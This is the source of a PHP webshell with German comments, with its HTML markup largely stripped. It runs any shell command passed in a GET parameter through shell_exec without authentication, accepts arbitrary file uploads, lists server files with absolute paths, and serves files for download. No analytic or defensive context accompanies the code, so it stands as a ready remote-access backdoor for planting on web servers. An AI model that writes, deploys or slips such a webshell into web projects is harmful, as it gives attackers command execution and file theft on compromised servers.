Service PHP Webshell
';
// Befehlsausführung
if (isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
echo '
Ausgabe:
';
echo '
' . htmlspecialchars($output) . '
';
}
// Datei-Upload
if (isset($_FILES['file'])) {
$upload_dir = __DIR__;
$upload_file = $upload_dir . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
echo '
Datei hochgeladen: ' . htmlspecialchars($upload_file) . '
';
} else {
echo '
Fehler beim Hochladen der Datei.
';
}
}
// Anzeige aller Dateien im aktuellen Verzeichnis
echo '
';
echo '
Verfügbare Dateien:
';
echo '
';
$files = scandir(__DIR__);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$absolute_path = realpath($file);
echo '- ' . htmlspecialchars($file) . ' - Herunterladen (Pfad: ' . htmlspecialchars($absolute_path) . ')
';
}
}
echo '
';
echo '
';
// Datei-Download
if (isset($_GET['download'])) {
$file_to_download = basename($_GET['download']); // Sicherheit: nur den Basisnamen verwenden
$file_path = __DIR__ . '/' . $file_to_download;
if (file_exists($file_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_path));
readfile($file_path);
exit;
} else {
echo '
Datei nicht gefunden.
';
}
}
// HTML-Formular für Datei-Upload
echo '
';
// HTML-Formular für Befehle
echo '